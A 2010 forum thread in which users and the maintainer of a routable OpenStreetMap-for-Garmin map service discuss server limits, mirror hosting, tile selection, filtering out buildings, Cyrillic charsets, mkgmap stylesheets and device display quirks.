An alternative might be to disable user-custom tile selection builds and focus on the pre-built sets of pre-defined regions, ie. a set of tiles for each country, or larger or smaller regions based on population and map density. Then the builds could be mirrored across a number of sites. When a user selects a pre-defined set, they could be given URLs for a mirror site from which to download instead. This should reduce bandwidth, harddisk space and CPU issues.
I would be happy to put a mirror of pre-built OSM maps for Garmin on my site - my site currently serves around 150GB of (non-OSM) garmin maps and I'm only paying 6USD/month.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 08.06.2010 17:20 · [flux]
shonkylogic wrote:
An alternative might be to disable user-custom tile selection builds and focus on the pre-built sets of pre-defined regions, ie. a set of tiles for each country, or larger or smaller regions based on population and map density. Then the builds could be mirrored across a number of sites. When a user selects a pre-defined set, they could be given URLs for a mirror site from which to download instead. This should reduce bandwidth, harddisk space and CPU issues.
I would be happy to put a mirror of pre-built OSM maps for Garmin on my site - my site currently serves around 150GB of (non-OSM) garmin maps and I'm only paying 6USD/month.
This suggestion has popped-up a few times now but I'm very weary of it. If someone is just looking for a single country then they already have lot's of choices. The novelty of this service is that you can have it combine and pre-package tiles from multiple countries in an relatively simple way. Going back to 'only countries' would be a huge step back IMHO and would make this service just one of many.I think that: "if it's just about countries, then I think it's best for the OSM community in each country to provide the Garmin maps".
So, in short: going back to whole countries only is the last resort and I might just shut the operation down at that point. I do really appreciate the offer for providing alternative hosting though!
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 08.06.2010 20:51 · [flux]
Lambertus wrote:
The novelty of this service is that you can have it combine and pre-package tiles from multiple countries in an relatively simple way.
Indeed. This is a unique site. Very good work Lambertus!
That it may be there for a long time to come.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 08.06.2010 21:42 · [flux]
Thanks 🙂
- Re: Worldwide routable Garmin maps: URL REMOVED · Skywoolf (Gast) · 09.06.2010 01:25 · [flux]
It may be me that is confused (again) but I got the impression that shonkylogic was suggesting dividing the map into a lot more tiles. This would mean that some people could download much smaller sections. In my case it would reduce the files from a bout 15mb down to 5mb or less.
I don't know if I am typical but I only work on a very small area and only use a slightly larger area for my GPS.
Of course dividing the map into many more tiles may be a lot of work for Lambertus who obviously already has a heavy workload so it may not be practical.
- Re: Worldwide routable Garmin maps: URL REMOVED · shonkylogic (Gast) · 09.06.2010 04:20 · [flux]
Sorry Skywoolf, I wasn't suggesting that tiles be split any further - I think the splitting is done automatically based on map feature density?
I was suggesting that popular map requests be pre-compiled and mirrored to take load off the server. Lambertus is correct that some sets are available elsewhere for some countries and regions but not all. And many countries do not provide a mapsource-installer format.
However I totally understand and agree with Lambertus' reply. This is indeed a unique service, the core issue is that it's become too popular for the available resources.
Another idea might be to offload the maps to an alternative hosting provider once they're compiled, that way your own disk remains relatively clean.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 09.06.2010 09:10 · [flux]
shonkylogic wrote:
I think the splitting is done automatically based on map feature density?
Indeed, I'm trying to create tiles with maximum tile area because the maps created by Mkgmap have (had? Don't recall exactly from the top of my head.) problems routing over more then one tile edge. This might not be a problem in Asia where the data density is mostly not very high, but caused many problems in Western Europe. Also, but this is not an issue anymore, earlier versions of the tools to create the maps could handle only 255 tiles (there are about 800 now).
I was suggesting that popular map requests be pre-compiled and mirrored to take load off the server. Lambertus is correct that some sets are available elsewhere for some countries and regions but not all. And many countries do not provide a mapsource-installer format.
Fair point, but could partly be a chicken and egg problem. Alternatively I could just stop providing maps for Europe and North America.
However I totally understand and agree with Lambertus' reply. This is indeed a unique service, the core issue is that it's become too popular for the available resources.
Thanks. Limits have been hit before and each time a solution has expanded usability, functionality and allowed even more users, but now that the low hanging fruit has been eaten it just gets a bit more difficult to improve. Improvements should still be possible though, I like greencaps' suggestion.
Another idea might be to offload the maps to an alternative hosting provider once they're compiled, that way your own disk remains relatively clean.
This suggestion is interesting. I reckon it's susceptible to break-down and requires quite a bit of bookkeeping but it could move the limit a bit further. Pure hosting (without the CPU cycles for map generation) is cheap, at least in the USA and -like you- there should be some people who would contribute some spare space. Yes I like it, but as always, it will take time to develop.
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 09.06.2010 12:32 · [flux]
http://www.openlayers.org ligt er uit.
Daarom doet de site van Lambertus het niet (op dit moment).
Ha ha... dat heeft dan maar een half uurtje geduurd of zo. Nu alles weer ok.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 24.06.2010 15:45 · [flux]
There is a request backlog due to server problems yesterday, it might take a while for the server to catch up. So expect your maps to arrive a bit later then usual.
- Re: Worldwide routable Garmin maps: URL REMOVED · zork66 (Gast) · 29.06.2010 22:07 · [flux]
Hi,
I'm trying to create a map of Germany, but when I select Germany from the menu it says I use to many tiles. Is there a way to get a complete map of Germany?
Thanks
Dennis. - Re: Worldwide routable Garmin maps: URL REMOVED · charommel (Gast) · 08.07.2010 12:37 · [flux]
Hi Lambertus,
I would like to thank you for this wonderful service that you have provided for us! More power to you and to the community. 😎
Cheers,
Rommel - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 08.07.2010 12:47 · [flux]
zork66 wrote:
Hi,
I'm trying to create a map of Germany, but when I select Germany from the menu it says I use to many tiles. Is there a way to get a complete map of Germany?
Thanks
Dennis.Yes there is. If you're just interested in a single very large (in mapping terms) country (E.g. Germany or USA) then you might want to download from one of the many other map providers.
charommel wrote:
Hi Lambertus,
I would like to thank you for this wonderful service that you have provided for us! More power to you and to the community. 😎
Cheers,
RommelThanks, much appreciated.
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 17.07.2010 20:42 · [flux]
zork66 wrote:
Hi,
I'm trying to create a map of Germany, but when I select Germany from the menu it says I use to many tiles. Is there a way to get a complete map of Germany?
Thanks
Dennis.Looking at the tiles that are selected there are quite a few that are completely outside Germany. Try de-selecting them.
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 17.07.2010 20:47 · [flux]
Lambertus wrote:
shonkylogic wrote:
Another idea might be to offload the maps to an alternative hosting provider once they're compiled, that way your own disk remains relatively clean.
This suggestion is interesting. I reckon it's susceptible to break-down and requires quite a bit of bookkeeping but it could move the limit a bit further. Pure hosting (without the CPU cycles for map generation) is cheap,
There are quite a number of free file hosting services around where you can store the files for free and people can d/l for free, if they are prepared to wait 30-60 secs. I'm not sure if you can automate the uploads, though...
- Re: Worldwide routable Garmin maps: URL REMOVED · Hugo_H (Gast) · 18.07.2010 21:26 · [flux]
Lambertus,
the latest update of the map seems to be 26-06. Is there an issue with the updates? Hugo
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 18.07.2010 21:51 · [flux]
Beddhist wrote:
Lambertus wrote:
shonkylogic wrote:
Another idea might be to offload the maps to an alternative hosting provider once they're compiled, that way your own disk remains relatively clean.
This suggestion is interesting. I reckon it's susceptible to break-down and requires quite a bit of bookkeeping but it could move the limit a bit further. Pure hosting (without the CPU cycles for map generation) is cheap,
There are quite a number of free file hosting services around where you can store the files for free and people can d/l for free, if they are prepared to wait 30-60 secs. I'm not sure if you can automate the uploads, though...
Not sure if those services will be happy to accept around 150 GB every 48 hours from one IP address, but it's an option to look into. Thanks.
Hugo_H wrote:
Lambertus,
the latest update of the map seems to be 26-06. Is there an issue with the updates? Hugo
Some planet dump problems and big internet connection problems at home (my ADSL connection dropped from 12 mbit to around 700 kbit down in two weeks) No way I'm going to use that little bit for downloading the planet. Sorry, but updates will have to wait until the connection is repaired or the modem is replaced.
- Re: Worldwide routable Garmin maps: URL REMOVED · TCRay (Gast) · 21.07.2010 03:01 · [flux]
I have a question about using Open Street Map on my Garmin 450. I live by St. Louis, MO so I downloaded the sections for southern Illinois and much of Missouri over to Kansas.
So, if I want to route from my home in Illinois to an address in Kansas City, I go to select my first point (Route Planner - Create Rouse - Select First Point - Use Map) and I select "Use" at the bottom of the screen as there is a way point pin on my home address. Then I go back and choose (Select Next Point - Addresses - Spell State/Province). When I select that and spell "Missouri", a message comes up "No Results Found. Try Adjusting Search Parameters".
What am I doing wrong? Will OpenStreetMap allow me to put in actual street addresses and route me to them?
Thank you for your help!
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 21.07.2010 03:10 · [flux]
For starters, I would leave the state blank, as it may or may not be mapped as such. Try putting in the street name and the city or suburb. I don't normally create routes on my GPS, other than to pan and 'Enter' on a point on the map and choose 'Goto'. That should always work.
- Re: Worldwide routable Garmin maps: URL REMOVED · TCRay (Gast) · 21.07.2010 03:11 · [flux]
Lambertus,
I just stumbled across the Sticky that addresses this issue. Also, I want to thank you for the time you take to develop OSM and help others with questions. It is much appreciated by all! - Re: Worldwide routable Garmin maps: URL REMOVED · TCRay (Gast) · 21.07.2010 03:16 · [flux]
Beddhist,
Thank you for the response. When I go to "Spell State/Province" I spelled "Springfield" (for Springfield, MO) and the same message came up - "No Results Found. Try Adjusting Search Parameters". - Re: Worldwide routable Garmin maps: URL REMOVED · Gollem (Gast) · 29.07.2010 21:20 · [flux]
@ Lambertus, when you select Europe/United Kingdom there are some parts of the UK that have been left out, but there is also a part of Turkey in it.
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 29.07.2010 22:07 · [flux]
Yep, similar problems in Austria, Belgium, France and (no doubt) others.
- Re: Worldwide routable Garmin maps: URL REMOVED · Oliver Burgert (Gast) · 04.08.2010 06:29 · [flux]
First of all: Thanks for running this great project! I use those maps always when I'm out of Europe and they are very useful!
I have one suggestion regarding s the installer (Mapsource): Would it be possible to add distinct names (maybe entered by the user) to the installed map? Right now they show up as "OSM World Routable", but I'd like to have "Mexico", "Washington DC", "My Next Trip", ...
This would allow me to have several installations in parallel (assuming the registry keys reflect those names ore are a generic unique key) and therefore reduce the number of my downloads / custom map generations.Keep up the good work
Oliver
- Re: Worldwide routable Garmin maps: URL REMOVED · zstatman (Gast) · 04.08.2010 13:39 · [flux]
Great idea Oliver, I agree
- Re: Worldwide routable Garmin maps: URL REMOVED · Seldom (Gast) · 04.08.2010 21:08 · [flux]
A great idea, but difficult to achieve unless you have the downloading user name the map set prior to creation of the installer.
The installer creates all the registry settings, so Oliver would need to be prompted for the map series name (Mexico), the map name (12345678.IMG), and the FID on the website and since Oliver would need to keep a list of his mapnames and FIDs to avoid conflicts the download would be useless for anybody but Oliver.
He'd probably be better off either compiling his own map sets, but he may be able to use MapSetToolKit to rename the sets he has.
- Re: Worldwide routable Garmin maps: URL REMOVED · Jesus arango (Gast) · 05.08.2010 10:04 · [flux]
Hi Lambertus,
How often do you update the tiles and when is the next scheduled update? I am going on a hiking trip on Aug 15 and before I go I would like download the tiles for a few trails that I added today.
Thanks
Jesus - Re: Worldwide routable Garmin maps: URL REMOVED · Hugo_H (Gast) · 05.08.2010 20:40 · [flux]
Jesus arango,
Lambertus usually updates weekly. However, he is very silent, so it could well be he is on leave and we have to live with the version of the 26th for two or three weeks. best have a look at the home page for the routable maps and see if the date has changed,
Hugo
- Re: Worldwide routable Garmin maps: URL REMOVED · ivodeb (Gast) · 06.09.2010 12:38 · [flux]
There is a new update now (for Belgium and ?). It would be nice to have a notice of the last update on the main page. Thx Lambertus for (in my knowledge) the only website who gives a *.gmap for roadtrip.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 06.09.2010 15:30 · [flux]
ivodeb wrote:
There is a new update now (for Belgium and ?). It would be nice to have a notice of the last update on the main page. Thx Lambertus for (in my knowledge) the only website who gives a *.gmap for roadtrip.
The date of the latest update is shown in the first line below that map (Based on OpenStreetMap data from: ......)
But yes, updates have been absent lately due to summer holiday, wedding of a friend, enjoying the weather, a beer and good book in the garden, and an internet connection outage. I do plan to up the rate to approx. weekly from now on again.
- Re: Worldwide routable Garmin maps: URL REMOVED · ivodeb (Gast) · 06.09.2010 15:57 · [flux]
Lambertus wrote:
ivodeb wrote:
There is a new update now (for Belgium and ?). It would be nice to have a notice of the last update on the main page. Thx Lambertus for (in my knowledge) the only website who gives a *.gmap for roadtrip.
The date of the latest update is shown in the first line below that map (Based on OpenStreetMap data from: ......)
But yes, updates have been absent lately due to summer holiday, wedding of a friend, enjoying the weather, a beer and good book in the garden, and an internet connection outage. I do plan to up the rate to approx. weekly from now on again.
Sorry i did not find it. Your site is really the best for retrieving data from OSM. Thx again.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 06.09.2010 21:43 · [flux]
You're welcome, thanks to Oxilion for providing the necessary bandwidth and computing power!
- Re: Worldwide routable Garmin maps: URL REMOVED · petersfreeman (Gast) · 19.09.2010 04:23 · [flux]
Hi, I have been trying to get New Zealand tiles to work in MapSource. I just downloaded the latest build (09-09-2010) using the dropdown for Oceania/New Zealand which yields these tiles: NZ-Dunedin; NZ-Auckland; WS-Apia; NF-Kingston. I have achieved the best results so far, however there are still problems. In MapSource, the north and South Island of New Zealand show at 700, 500 & 300km scale, however as I zoom in, it disappears. I tried downloading just one tile and it exhibits the same behavior.
Any ideas as I want to plan a bicycle trip in New Zealand and would like to have this working.
Thanks,
Peter
- Re: Worldwide routable Garmin maps: URL REMOVED · Gibuld (Gast) · 21.09.2010 10:53 · [flux]
Hi, Lambertus
Would like to ask you what's your opinion concerning providing an OSM gmapsupp.img for the Garmin devices with (optional) limited objects i.e containing only objects necessary for navigation.
Over the years the map got larger and larger and the speed for certain actions became slower and slower (60csx).
Due to my impression it is especially the shape of buildings (useless for navigation) which is responsible for this decrease. There are also other useless objects like boundaries of districts which are really disturbing for navigational purposes.
Best regards
Gibuld - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 21.09.2010 15:19 · [flux]
I like it, and I agree that the buildings are a likely culprit. My server is not suitable for a second set of maps and for the main map I would like to continue to use the default (generic) Mkgmap stylesheet. So I should probably filter the buildings out during the preprocessing stage (before the data is given to splitter) to make this happen.
I need to think about it before I decide if this is implemented or not.
- Re: Worldwide routable Garmin maps: URL REMOVED · Paul Johnson (Gast) · 29.09.2010 17:37 · [flux]
Would it be possible to get bicycle=avoid and bicycle=preferred tags to work similarly to =destination and =designated?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 30.09.2010 10:49 · [flux]
Maybe, I'm using the default Mkgmap stylesheet so this should go into that stylesheet first. Perhaps you can contact the maintainer of the stylesheet (Marko Mäkelä, marko dot makela at iki dot fi)? He's also active on the Mkgmap mailinglist...
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 04.10.2010 15:04 · [flux]
Lambertus wrote:
..... So I should probably filter the buildings out during the preprocessing stage (before the data is given to splitter) to make this happen.
As translit preprocesses your data I experimented a bit with an option "remove ways which are buildings". This was easily implemented. It removes only the the way (<way>....</way>). Not the nodes which make up the way. (that would require extra passing).
Maybe I could (for that) also remove all nodes with user="3dShapes" but that is just an idea... I did not investigate this.
- Re: Worldwide routable Garmin maps: URL REMOVED · Paul Johnson (Gast) · 04.10.2010 17:46 · [flux]
Lambertus wrote:
Maybe, I'm using the default Mkgmap stylesheet so this should go into that stylesheet first. Perhaps you can contact the maintainer of the stylesheet (Marko Mäkelä, marko dot makela at iki dot fi)? He's also active on the Mkgmap mailinglist...
I previously contacted the mkgmap mailing list about this, they said, "Oh, we don't really want to add tags...bug the guy generating your maps."
- Re: Worldwide routable Garmin maps: URL REMOVED · g4x (Gast) · 12.10.2010 11:16 · [flux]
Hi Lambertus
Did some of the tiles get re-numbered or something?
The country selector seems to miss out some tiles - and add others.
United Kingdom on country selector seems to pick up a bit of Turkey, but not all of England ! - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 13.10.2010 08:59 · [flux]
greencaps wrote:
Lambertus wrote:
..... So I should probably filter the buildings out during the preprocessing stage (before the data is given to splitter) to make this happen.
As translit preprocesses your data I experimented a bit with an option "remove ways which are buildings". This was easily implemented. It removes only the the way (<way>....</way>). Not the nodes which make up the way. (that would require extra passing).
Maybe I could (for that) also remove all nodes with user="3dShapes" but that is just an idea... I did not investigate this.
I've implemented this as a filter using Osmosis (that was easy). The resulting tiles are about half a megabyte smaller, but I've not published one of the test runs yet.
But, regarding Translit, it's a bit of a bottleneck while processing on a multicore machine. Do you see a possibility to do the translation in parallel? Or, alternatively, you once wrote that you were working on integration into Mkgmap? Any progress?
Paul Johnson wrote:
Lambertus wrote:
Maybe, I'm using the default Mkgmap stylesheet so this should go into that stylesheet first. Perhaps you can contact the maintainer of the stylesheet (Marko Mäkelä, marko dot makela at iki dot fi)? He's also active on the Mkgmap mailinglist...
I previously contacted the mkgmap mailing list about this, they said, "Oh, we don't really want to add tags...bug the guy generating your maps."
Damnit, then why does one of the fella's at that mailinglist calls himself 'stylesheet maintainer'?
I'm sorry that this doesn't get resolved, but I'm really not going to create an maintain my own stylesheet. If the default stylesheet of Mkgmap becomes really outdated and there isn't a good alternative one then I'll cancel this service.
Is there somewhere a good alternative generic Mkgmap stylesheet that is being actively developed?
g4x wrote:
Hi Lambertus
Did some of the tiles get re-numbered or something?
The country selector seems to miss out some tiles - and add others.
United Kingdom on country selector seems to pick up a bit of Turkey, but not all of England !It appears there is an error somewhere in the UK country definition of perhaps it was a glitch during this build. I know that some countries haven't been defined well enough (UK and Italy for example). Still haven't looked at it yet. But you can always manually add and remove tiles to the selection.
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 18.10.2010 14:44 · [flux]
Lambertus wrote:
But, regarding Translit, it's a bit of a bottleneck while processing on a multicore machine. Do you see a possibility to do the translation in parallel? Or, alternatively, you once wrote that you were working on integration into Mkgmap? Any progress?
At the moment I'm working on other things. But it is my to do list. I first would have to do this under windows. Then under linux. To be honest: I have not the slightest idea how to do that under linux.
Steve R. asked me to help with mkgmap. But that's the same story of what comes first. I did not do anything for mkgmap yet.
Remember my aim was to use transliterated maps in my garmin driving east and now I can...
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 18.10.2010 16:48 · [flux]
greencaps wrote:
Lambertus wrote:
But, regarding Translit, it's a bit of a bottleneck while processing on a multicore machine. Do you see a possibility to do the translation in parallel? Or, alternatively, you once wrote that you were working on integration into Mkgmap? Any progress?
At the moment I'm working on other things. But it is my to do list. I first would have to do this under windows. Then under linux. To be honest: I have not the slightest idea how to do that under linux.
If you start with using a POSIX compatible threading library on Windows, then Linux won't give you much trouble. PThreads might be useful if you use C or Boost if you use C++.
Steve R. asked me to help with mkgmap. But that's the same story of what comes first. I did not do anything for mkgmap yet.
I don't mind if you help Mkgmap first. On the contrary, I probably won't be needing Translit if Mkgmap has good native transliteration (and I already run Mkgmap in parallel, something I cannot easily do with Translit on my current build scripts. Hmm, although, at a sudden I do see a new possibility now. I'll get back at that...).
Besides about speed, threading and other such nitbits, having this in Mkgmap would probably be preferable anyway.
Remember my aim was to use transliterated maps in my garmin driving east and now I can...
Yes, I know. And I know how things go when the important items on the todo-list are done. I don't blame you, no, instead I'm grateful for your work. You know that.
When time, priorities and interest fail, you could also consider to make Translit OpenSource. I don't think this is the case, but if so: it doesn't matter if the code is sloppy or that you're ashamed of your coding abilities. If perhaps there is a copyright issue that is holding back the release of the code then maybe I and others can help find a solution.
What it comes down to is this: the transliteration abilities of your code have shown their worth and would benefit a lot of people (not only me, my website or my map users). In case you loose interest in the OSM project (or something worse) then your OS code might still be used many years to come, but now everything depends on Linux' backward compatibilities and your ability + willingness to fix any problems. That is not a healthy situation.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 04.11.2010 10:25 · [flux]
A new version is up. The tools have been updated to the latest versions but the biggest change is the enabling of the sea polygons. I hope it works ok, but I guess I'll be hearing about a lot of problems with missing islands and sections of flooded land. So it will probably be disabled again on the next update, but we'll see...
Edit:
Ok, the map is going offline again. The sea polygons are showing up much worse then I thought... - Re: Worldwide routable Garmin maps: URL REMOVED · Larry0ua (Gast) · 04.11.2010 14:01 · [flux]
Hi
Can you add functionality/option to download archived osm file from selected territory? I have customized mkgmap a bit...
Another suggestion.. When mkgmap is used with command-line param --charset=windows-1251 it produces good cyrillic map without transliteration.. Can you add this functionality too? - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 04.11.2010 15:13 · [flux]
Larry0ua wrote:
Hi
Can you add functionality/option to download archived osm file from selected territory? I have customized mkgmap a bit...No can do I'm afraid. There's not enough disk space on the server. And it's not needed because OSM planet or country downloads are available from other sources. Also, splitting the data is easy and can be done on modest hardware. So I don't really see the advantage.
Another suggestion.. When mkgmap is used with command-line param --charset=windows-1251 it produces good cyrillic map without transliteration.. Can you add this functionality too?
Not every GPS is supporting charsets other then Latin1, afaik. What GPS type are you using?
- Re: Worldwide routable Garmin maps: URL REMOVED · Larry0ua (Gast) · 04.11.2010 15:57 · [flux]
Garmin Dakota 20
it supports mkgmap maps with cp1251
Also i think lot of other Garmins support too.. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 04.11.2010 17:57 · [flux]
From the wiki:
Cyrillic letters
Its quite exciting that we now have some support for the first non-roman alphabet.With no special options, the Russian Cyrillic letters will be transliterated into ascii characters, meaning no more names will show up rather than being blank or question marks.
For devices that display cyrillic characters (and only a few do, or when firmware mods are applied) you can use the --charset=windows-1251 option.
There is more to do, and help is needed, for example the non-Russian Cyrillic letters. The same technique could be used with any character set that is capable of being transliterated without extra information. Latin1 and Latin2 are already done that way. Please see the Talk:Mkgmap/i18n page for some history.
So, it seems that you have a modern Garmin which supports it, but many others don't and I won't disable the transliteration unless I'm sure that older devices handle cp1251 well too. Still, even if they do, maybe I'll keep transliterating...
- Re: Worldwide routable Garmin maps: URL REMOVED · Nand (Gast) · 08.11.2010 06:55 · [flux]
Hi Lambertus,
This is my first post to the forum. A million thanks to you for providing such a wonderful service. I have been using your service, the routable openstreetmap for garmin (Nuvi 1390T) for a month now and have started contributing by mapping the areas known to me during my holidays and free time. I live in Bangalore.
I do not know if this is the right forum to report bugs. I wanted to report a bug that I found on the openstreet map for garmin.
When I select "Where To" --> "Point of Interest" --> "Hospitals" and select a Hospital from the list of Hospitals and then click on the Name of the Hospital shown on the map, it displays "Food" (should have been "Hospital") beside the blue "+" symbol.
Let me know if you need any further detail.
Warm regards
Nand Kishore
- Re: Worldwide routable Garmin maps: URL REMOVED · Paul Johnson (Gast) · 22.11.2010 01:42 · [flux]
Lambertus wrote:
Is there somewhere a good alternative generic Mkgmap stylesheet that is being actively developed?
I suppose I could do this if nobody else will.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 22.11.2010 16:10 · [flux]
Paul Johnson wrote:
Lambertus wrote:
Is there somewhere a good alternative generic Mkgmap stylesheet that is being actively developed?
I suppose I could do this if nobody else will.
User Ligfietser is working on a generic style (which looks like the Mapnik rendering)
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 22.11.2010 20:56 · [flux]
Hi Nand & welcome,
Nand wrote:
When I select "Where To" --> "Point of Interest" --> "Hospitals" and select a Hospital from the list of Hospitals and then click on the Name of the Hospital shown on the map, it displays "Food" (should have been "Hospital") beside the blue "+" symbol.
Now, that is strange. I just HAD to test this out on my Zumo660 and I can search for hospitals and there is no food displayed anywhere with them. Must be specific to your Nuvi.
However, I have found something else disturbing: the OSM map doesn't overlay the basemap, rather they are both displayed at the same time:
You can clearly see the basemap road going through the centre of Mae Sot and the relief shading also belongs to the basemap.
It's still there @ 5km zoom, but zooming out any further makes most OSM data disappear, leaving just the basemap road and a few towns from the OSM map visible.I tried disabling the basemap, but on the Zumo that doesn't seem to be an option.
Regards,
Peter. - Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 22.11.2010 21:12 · [flux]
Ok, I've renamed gmapbmap.img and turned off the basemap this way. The display now looks right.
The Q remains: why does the OSM map not overlay the basemap? Must be marked as transparent.
Nand: perhaps your basemap is also interfering with the OSM map. Try turning it off and see what happens.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 22.11.2010 21:52 · [flux]
Beddhist wrote:
The Q remains: why does the OSM map not overlay the basemap?
Not sure, but this might have something to do with the layer priority (e.g. the basemap has a higher priority then the OSM map). If the basemap is transparent the you'll see what you see now. Maybe Charlie Ferrero can provide the yes/no on this?
Must be marked as transparent.
I double checked. There is no transparency option used, so the OSM map is not (should not be!) transparent.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 22.11.2010 22:19 · [flux]
Lambertus wrote:
Paul Johnson wrote:
Lambertus wrote:
Is there somewhere a good alternative generic Mkgmap stylesheet that is being actively developed?
I suppose I could do this if nobody else will.
User Ligfietser is working on a generic style (which looks like the Mapnik rendering)
TYP file yes, but style no.. ;-)
Altough any help with improving the default style sheet is welcome, seems the guys on the mkgmap list are not so willing to change it. - Re: Worldwide routable Garmin maps: URL REMOVED · csdf (Gast) · 23.11.2010 10:42 · [flux]
Lambertus wrote:
Beddhist wrote:
The Q remains: why does the OSM map not overlay the basemap?
Not sure, but this might have something to do with the layer priority (e.g. the basemap has a higher priority then the OSM map). If the basemap is transparent the you'll see what you see now. Maybe Charlie Ferrero can provide the yes/no on this?
Must be marked as transparent.
I double checked. There is no transparency option used, so the OSM map is not (should not be!) transparent.
If the OSM map is being created as opaque (i.e. no --transparent option) then the base map should be hidden. I think this may be a "feature" of the Zumo. I've not heard of the base map showing through the OSM layer on other Garmin devices (which, in most cases, let you disable the base map anyway).
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 23.11.2010 11:18 · [flux]
A completely different question: when is the next update scheduled? The current data is from 4/11.
Thanks,
Peter. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 23.11.2010 14:41 · [flux]
ligfietser wrote:
Lambertus wrote:
User Ligfietser is working on a generic style (which looks like the Mapnik rendering)
TYP file yes, but style no.. ;-)
Altough any help with improving the default style sheet is welcome, seems the guys on the mkgmap list are not so willing to change it.I'm sorry. I appear to make that distinction mistake a lot...
csdf wrote:
Lambertus wrote:
Beddhist wrote:
The Q remains: why does the OSM map not overlay the basemap?
Not sure, but this might have something to do with the layer priority (e.g. the basemap has a higher priority then the OSM map). If the basemap is transparent the you'll see what you see now. Maybe Charlie Ferrero can provide the yes/no on this?
If the OSM map is being created as opaque (i.e. no --transparent option) then the base map should be hidden. I think this may be a "feature" of the Zumo. I've not heard of the base map showing through the OSM layer on other Garmin devices (which, in most cases, let you disable the base map anyway).
Thanks for your ideas on this. Do you think it's possible for the baselayer to have a higher priority then a standard OSM map?
Beddhist wrote:
A completely different question: when is the next update scheduled? The current data is from 4/11.
An update is running now.
- Re: Worldwide routable Garmin maps: URL REMOVED · csdf (Gast) · 24.11.2010 05:08 · [flux]
Lambertus wrote:
Thanks for your ideas on this. Do you think it's possible for the baselayer to have a higher priority then a standard OSM map?
Not unless your mkgmap compile is really strange. I can't imagine why the base map draw priority would be set high; in fact I suspect that the base map isn't treated the same way as other maps by GPSr (at least on my GPSMap). For instance, if you try to route, the GPS will never route on the base map if another routing layer is available. I would have thought the firmware would ensure that the base map was always drawn below any other map, but that's just a guess.
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 24.11.2010 06:11 · [flux]
All I can add here is that on my Zumo the City Navigator NT map overlays the base map, but the OSM map doesn't.
- Re: Worldwide routable Garmin maps: URL REMOVED · csdf (Gast) · 24.11.2010 07:58 · [flux]
Beddhist, have you tried other OSM maps? There's a list of alternative sources here: http://wiki.openstreetmap.org/wiki/OSM_ … n/Download
It would be good to know if the problem is general, or specific to Lambertus' build. - Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 24.11.2010 10:57 · [flux]
OK, I just tried this one: http://debian.mcmillan.net.nz/nzosm/640 … 8-0503.img The same thing happens. I can see the relief shading from the basemap and h'way 1 not far from my home shows twice.
This one I installed differently: renamed the file to gmapsupp.img and copied it into the \Garmin dir on my Zumo. For Lambertus' maps I used Mapsource to install.
Routing uses only the OSM map. I tested it, turned the OSM map off and recalc'ed. Then it used the basemap.
Regards,
Peer. - Re: Worldwide routable Garmin maps: URL REMOVED · Nand (Gast) · 25.11.2010 04:46 · [flux]
Hello All,
I have discovered another problem with garmin maps from openstreetmap. Under the "Point of Interest" -> "Food", if I select a restaurant, it displays the Category as "African" even though the restaurant is tagged as "cuisine=indian". It works correctly for "chinese". Again, the "Asian" category does not display any restaurant which are tagged as "cuisine=indian". I have Garmin nuvi 1390T.
I wanted to load the screenshots of the same but do not know how to upload my images. Any help would be appreciated.
- Re: Worldwide routable Garmin maps: URL REMOVED · csdf (Gast) · 25.11.2010 05:31 · [flux]
That's interesting. "African" is not a known Garmin restaurant category. What GPS do you have?
The following assumes you are using a map created with mkgmap's default style.
mkgmap takes OSM key-tag pairs and converts them into Garmin objects. The OSM cuisine=indian key-tag pair does not result in an Indian restaurant in the Garmin map because Garmin GPS units do not offer an Indian restaurant category. So any restaurants tagged like this are instead given the default Garmin restaurant code (0x2a13) which on my GPS at least fall under the "Other" restaurant category.
The OSM cuisine=chinese key-tag pair does have a corresponding Garmin category, hence why it works as you expected.
The only restaurants that will appear in your Asian category are those that have been tagged with cuisine=asian, as this is the only key-tag pair that mkgmap uses to generate Garmin objects in the Asian restaurant category.
You can see which key-tag pairs are being used by mkgmap to generate its maps here:
http://www.mkgmap.org.uk/svn/wsvn/mkgma … ult/points (scroll down to the section with amenity=restaurant & ...If you create your own style for mkgmap
If you create your own style and compile your own maps, you can assign any key-tag combination you like to any particular Garmin restaurant category. For instance, I assign the following key-tag pairs to the Garmin Asian restaurant category:
cuisine=asian | cuisine=japanese | cuisine=korean | cuisine=malaysian | cuisine=noodle | cuisine=thai | cuisine=vietnameseThus I get many more restaurants falling into that category for the maps that I make.
